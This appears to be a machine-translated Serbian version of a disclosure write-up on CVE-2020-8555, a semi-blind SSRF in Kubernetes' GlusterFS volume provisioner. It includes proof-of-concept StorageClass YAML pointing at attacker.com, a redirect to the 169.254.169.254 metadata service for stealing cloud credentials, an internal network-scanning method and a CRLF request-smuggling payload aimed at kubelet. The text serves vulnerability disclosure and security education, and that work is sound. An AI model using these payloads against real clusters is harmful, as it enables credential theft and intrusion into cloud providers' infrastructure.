🥇Када није реч само о рањивости у Кубернетесу...

Белешка. трансл.: аутори овог чланка детаљно говоре о томе како су успели да открију рањивост ЦВЕ-2020–8555 у Кубернетесу. Иако се у почетку није чинило много опасним, у комбинацији са другим факторима његова критичност се показала максималном за неке провајдере облака. Неколико организација је великодушно наградило специјалисте за њихов рад.

Ко смо

Ми смо два француска истраживача безбедности који су заједно открили рањивост у Кубернетесу. Наша имена су Брице Ауграс и Цхристопхе Хаукуиерт, али на многим Буг Боунти платформама познати смо као Рееверзак и Хацх:

Брице Ауграс - Група Астен Цомпани;
Цхристопхе Хаукуиерт - Кубернетес архитекта у Нокији.

Шта се десило?

Овај чланак је наш начин да поделимо како се обичан истраживачки пројекат неочекивано претворио у најузбудљивију авантуру у животу ловаца на бубе (барем за сада).

Као што вероватно знате, ловци на бубе имају неколико значајних карактеристика:

живе од пице и пива;
раде када сви други спавају.

Нисмо изузетак од ових правила: обично се састајемо викендом и проводимо бесане ноћи хакујући. Али једна од ових ноћи завршила се на веома необичан начин.

У почетку смо хтели да се састанемо да разговарамо о учешћу ЦТФ следећи дан. Током разговора о Кубернетес безбедности у управљаном сервисном окружењу, сетили смо се старе идеје ССРФ-а (Фалсификовање захтева на страни сервера) и одлучио да покуша да га користи као скрипту за напад.

У 11 сата смо сели да урадимо истраживање и рано ујутру отишли у кревет, веома задовољни резултатима. Управо због овог истраживања наишли смо на МСРЦ Буг Боунти програм и дошли до експлоатације ескалације привилегија.

Прошло је неколико недеља/месеци, а наш неочекивани резултат је резултирао једном од највећих награда у историји Азуре Цлоуд Буг Боунти-а – поред оне коју смо добили од Кубернетеса!

На основу нашег истраживачког пројекта, објавио је Комитет за безбедност производа Кубернетес ЦВЕ-2020–8555.

Сада бих желео да што више ширим информације о пронађеној рањивости. Надамо се да ћете ценити проналазак и поделити техничке детаље са другим члановима инфосец заједнице!

Дакле, ево наше приче...

Контекст

Да бисмо што боље разумели шта се догодило, хајде да прво погледамо како Кубернетес функционише у окружењу којим се управља у облаку.

Када инстанцирате Кубернетес кластер у таквом окружењу, ниво управљања је обично одговорност добављача облака:

Контролни слој се налази на периметру добављача облака, док се Кубернетес чворови налазе на ободу клијента

За динамичко додељивање волумена, користи се механизам за њихово динамичко обезбеђивање са спољне позадинске меморије и упоређивање са ПВЦ-ом (трајни захтев за волумен, тј. захтев за волумен).

Дакле, након што је ПВЦ креиран и везан за СторагеЦласс у кластеру К8с, даље радње за обезбеђивање запремине преузима менаџер кубе/цлоуд контролера (његов тачан назив зависи од издања). (Белешка. трансл.: Већ смо писали више о ЦЦМ-у користећи пример његове имплементације за једног од провајдера облака овде.)

Постоји неколико типова добављача које подржава Кубернетес: већина њих је укључена у оркестраторско језгро, док другима управљају додатни добављачи који су смештени у подове у кластеру.

У нашем истраживању, фокусирали смо се на механизам обезбеђивања интерног волумена, који је илустрован у наставку:

Динамичко обезбеђивање волумена помоћу уграђеног Кубернетес провајдера

Укратко, када је Кубернетес распоређен у управљаном окружењу, менаџер контролера је одговорност добављача облака, али захтев за креирање волумена (број 3 на дијаграму изнад) напушта интерну мрежу добављача облака. И овде ствари постају заиста занимљиве!

Сценарио хаковања

У овом одељку ћемо објаснити како смо искористили горе поменути ток посла и приступили интерним ресурсима добављача услуга у облаку. Такође ће вам показати како можете да извршите одређене радње, као што је добијање интерних акредитива или ескалација привилегија.

Једна једноставна манипулација (у овом случају, Фалсификовање захтева са стране услуге) помогла је да се превазиђе окружење клијента у кластере различитих провајдера услуга под управљаним К8с.

У нашем истраживању фокусирали смо се на провајдер ГлустерФС. Упркос чињеници да је даљи редослед радњи описан у овом контексту, Куобите, СторагеОС и СцалеИО су подложни истој рањивости.

Злоупотреба механизма за обезбеђивање динамичког волумена

Током анализе класе складиштења ГлустерФС у изворном коду клијента Голанг ми Приметиода на првом ХТТП захтеву (3) послатом током креирања волумена, до краја прилагођеног УРЛ-а у параметру resturl се додаје /volumes.

Одлучили смо да се ослободимо овог додатног пута додавањем # у параметру resturl. Ево прве ИАМЛ конфигурације коју смо користили да тестирамо полу-слепу ССРФ рањивост (можете прочитати више о полу-слепом или полуслепом ССРФ-у, на пример, овде — прибл. превод):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Затим смо користили бинарни програм за даљинско управљање Кубернетес кластером кубецтл. Обично вам добављачи облака (Азуре, Гоогле, АВС, итд.) омогућавају да добијете акредитиве за коришћење у овом услужном програму.

Захваљујући томе, могао сам да користим своју „посебну“ датотеку. Кубе-цонтроллер-манагер је извршио резултујући ХТТП захтев:

kubectl create -f sc-poc.yaml

Одговор са тачке гледишта нападача

Убрзо након тога, такође смо били у могућности да примимо ХТТП одговор од циљног сервера - преко команди describe pvc или get events ин кубецтл. И заиста: овај подразумевани Кубернетес драјвер је превише опсежан у својим упозорењима/порукама о грешци...

Ево примера са везом до https://www.google.frпоставити као параметар resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

У овом приступу, били смо ограничени на упите попут ХТТП ПОСТ и није могао да добије садржај тела одговора ако је повратни код био 201. Због тога смо одлучили да спроведемо додатна истраживања и проширили овај сценарио хаковања новим приступима.

Еволуција нашег истраживања

Напредни сценарио #1: Коришћење преусмеравања 302 са спољног сервера за промену ХТТП методе да би се обезбедио флексибилнији начин прикупљања интерних података.
Напредни сценарио #2: Аутоматско скенирање ЛАН-а и откривање интерних ресурса.
Напредни сценарио #3: коришћење ХТТП ЦРЛФ + кријумчарење („захтев за кријумчарење“) за креирање прилагођених ХТТП захтева и преузимање података екстрахованих из евиденције кубе-контролера.

Техничке спецификације

Истраживање је користило Азуре Кубернетес Сервице (АКС) са Кубернетес верзијом 1.12 у региону Северне Европе.
Горе описани сценарији су изведени на најновијим издањима Кубернетеса, са изузетком трећег сценарија, јер требао му је Кубернетес направљен са Голанг верзијом ≤ 1.12.
Спољни сервер нападача - https://attacker.com.

Напредни сценарио #1: Преусмеравање ХТТП ПОСТ захтева на ГЕТ и примање осетљивих података

Оригинални метод је побољшан конфигурацијом нападачевог сервера да се врати 302 ХТТП Ретцодеда конвертујете ПОСТ захтев у ГЕТ захтев (4. корак на дијаграму):

Први захтев (3) који долази од клијента ГлустерФС (Менаџер контролера), има тип ПОСТ. Пратећи ове кораке успели смо да га претворимо у ГЕТ:

Као параметар resturl у СторагеЦласс је назначено http://attacker.com/redirect.php.
Крајња тачка https://attacker.com/redirect.php одговара са 302 ХТТП статусним кодом са следећим заглављем локације: http://169.254.169.254. Ово може бити било који други интерни ресурс - у овом случају, линк за преусмеравање се користи искључиво као пример.
Подразумевано нет/хттп библиотека Голанг преусмерава захтев и конвертује ПОСТ у ГЕТ са статусним кодом 302, што резултира ХТТП ГЕТ захтевом за циљни ресурс.

Да бисте прочитали тело ХТТП одговора, морате да урадите describe ПВЦ објекат:

kubectl describe pvc xxx

Ево примера ХТТП одговора у ЈСОН формату који смо успели да примимо:

Могућности пронађене рањивости у то време биле су ограничене због следећих тачака:

Немогућност уметања ХТТП заглавља у одлазни захтев.
Немогућност да се изврши ПОСТ захтев са параметрима у телу (ово је згодно да се захтева вредност кључа од етцд инстанце која ради на 2379 порт ако се користи нешифровани ХТТП).
Немогућност преузимања садржаја тела одговора када је статусни код био 200 и одговор није имао ЈСОН тип садржаја.

Напредни сценарио #2: Скенирање локалне мреже

Ова полуслепа ССРФ метода је затим коришћена за скенирање интерне мреже добављача облака и анкетирање различитих услуга слушања (Метадата инстанце, Кубелет, итд.) на основу одговора кубе контролер.

Прво су одређени стандардни портови за слушање Кубернетес компоненти (8443, 10250, 10251, итд.), а затим смо морали да аутоматизујемо процес скенирања.

Видевши да је овај метод скенирања ресурса веома специфичан и да није компатибилан са класичним скенерима и ССРФ алатима, одлучили смо да креирамо сопствене раднике у басх скрипти која аутоматизује цео процес.

На пример, да би се брзо скенирао опсег 172.16.0.0/12 интерне мреже, паралелно је покренуто 15 радника. Горенаведени ИП опсег је изабран само као пример и може бити подложан промени ИП опсега вашег специфичног провајдера услуга.

Да бисте скенирали једну ИП адресу и један порт, потребно је да урадите следеће:

избрисати последњу проверену СторагеЦласс;
уклонити претходни верификовани захтев за трајну количину;
промените вредности ИП и порта у sc.yaml;
креирајте СторагеЦласс са новом ИП-ом и портом;
направити нови ПВЦ;
екстрахујте резултате скенирања помоћу описа за ПВЦ.

Напредни сценарио #3: ЦРЛФ ињекција + кријумчарење ХТТП-а у „старим“ верзијама Кубернетес кластера

Ако је поред овога провајдер понудио клијентима старе верзије кластера К8с и дао им приступ дневникима кубе-контролера-менаџера, ефекат је постао још значајнији.

Заиста је много згодније за нападача да промени ХТТП захтеве који су дизајнирани да добију потпуни ХТТП одговор по свом нахођењу.

За имплементацију последњег сценарија, морали су бити испуњени следећи услови:

Корисник мора да има приступ евиденцијама кубе-цонтроллер-манагер (као, на пример, у Азуре ЛогИнсигхтс).
Кубернетес кластер мора да користи верзију Голанга нижу од 1.12.

Применили смо локално окружење које је симулирало комуникацију између ГлустерФС Го клијента и лажног циљног сервера (за сада ћемо се уздржати од објављивања ПоЦ-а).

Је пронађен рањивост, који утиче на Голанг верзије ниже од 1.12 и дозвољава хакерима да изводе ХТТП кријумчарске/ЦРЛФ нападе.

Комбиновањем полуслепог ССРФ-а описаног горе вместе са овим смо били у могућности да шаљемо захтеве по нашем укусу, укључујући замену заглавља, ХТТП метод, параметре и податке, које је кубе-цонтроллер-манагер потом обрадио.

Ево примера радног „мамца“ у параметру resturl СторагеЦласс, који имплементира сличан сценарио напада:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Резултат је грешка нежељени одговор, порука о којој се бележи у евиденцији контролера. Захваљујући опширности која је подразумевано омогућена, садржај поруке ХТТП одговора се такође чува тамо.

Ово је био наш најефикаснији „мамац“ у оквиру доказа концепта.

Користећи овај приступ, били смо у могућности да извршимо неке од следећих напада на кластере различитих управљаних к8с провајдера: ескалација привилегија са акредитивима на инстанцама метаподатака, главни ДоС преко (нешифрованих) ХТТП захтева на етцд главним инстанцама, итд.

Последица

У званичној изјави Кубернетеса о ССРФ рањивости коју смо открили, она је оцењена ЦВСС 6.3/10: ЦВСС:3.0/АВ:Н/АЦ:Х/ПР:Л/УИ:Н/С:Ц/Ц:Х/И:Н/А:Н. Ако узмемо у обзир само рањивост повезану са Кубернетес периметром, вектор интегритета (вектор интегритета) квалификује се као ниједан.

Међутим, процена могућих последица у контексту окружења управљаних услуга (а ово је био најзанимљивији део нашег истраживања!) навела нас је да рекласификујемо рањивост у рејтинг Критички ЦВСС10/10 за многе дистрибутере.

Испод су додатне информације које ће вам помоћи да разумете наша разматрања приликом процене потенцијалних утицаја у окружењима у облаку:

Интегритет

Извршавајте команде на даљину користећи стечене интерне акредитиве.
Репродукција горњег сценарија помоћу методе ИДОР (Инсецуре Дирецт Објецт Референце) са другим ресурсима који се налазе на локалној мрежи.

Повјерљивост

Тип напада Латерал Мовемент захваљујући крађи акредитива у облаку (на пример, АПИ за метаподатке).
Прикупљање информација скенирањем локалне мреже (одређивање ССХ верзије, ХТТП серверске верзије, ...).
Прикупите информације о инстанци и инфраструктури анкетирањем интерних АПИ-ја као што је АПИ за метаподатке (http://169.254.169.254,…).
Крађа података о клијентима помоћу акредитива у облаку.

Доступност

Сви сценарији експлоатације у вези са векторима напада укључени интегритет, може се користити за деструктивне радње и довести до тога да мастер инстанце са периметра клијента (или било које друге) буду недоступне.

Пошто смо били у управљаном К8с окружењу и процењивали утицај на интегритет, можемо замислити многе сценарије који би могли да утичу на доступност. Додатни примери укључују оштећење етцд базе података или критичан позив Кубернетес АПИ-ју.

Временска линија

6. децембар 2019: Рањивост је пријављена МСРЦ Буг Боунти-у.
3. јануар 2020: Трећа страна је обавестила Кубернетес програмере да радимо на безбедносном проблему. И замолио их да размотре ССРФ као интерну (у језгру) рањивост. Затим смо дали општи извештај са техничким детаљима о извору проблема.
15. јануар 2020: Обезбедили смо техничке и опште извештаје Кубернетес програмерима на њихов захтев (преко ХацкерОне платформе).
15. јануар 2020: Кубернетес програмери су нас обавестили да се полу-слепо ССРФ + ЦРЛФ ињекција за прошла издања сматра рањивостом у језгру. Одмах смо престали да анализирамо периметре других провајдера услуга: К8с тим се сада бавио основним узроком.
15. јануар 2020: МСРЦ награда примљена преко ХацкерОне-а.
16. јануар 2020: Кубернетес ПСЦ (Комитет за безбедност производа) је препознао рањивост и затражио да се чува до средине марта због великог броја потенцијалних жртава.
11. фебруар 2020: Примљена Гоогле ВРП награда.
4. март 2020: Кубернетес награда примљена преко ХацкерОне-а.
15. март 2020: Првобитно заказано јавно објављивање је одложено због ситуације са ЦОВИД-19.
1. јун 2020: Кубернетес + Мицрософт заједничка изјава о рањивости.

ТЛ; ДР

Пијемо пиво и једемо пицу :)
Открили смо рањивост у језгру у Кубернетес-у, иако нисмо имали намеру да то урадимо.
Спровели смо додатну анализу на кластерима различитих добављача облака и успели смо да повећамо штету узроковану рањивости да бисмо добили додатне сјајне бонусе.
У овом чланку ћете наћи много техничких детаља. Биће нам задовољство да о њима разговарамо са вама (Твитер: @РееверЗак & @__хацх_).
Испоставило се да су све врсте формалности и извештавања трајале много дуже него што се очекивало.

референце

ПС од преводиоца

Прочитајте и на нашем блогу:

Извор: ввв.хабр.цом

Када се не ради само о Кубернетес рањивости...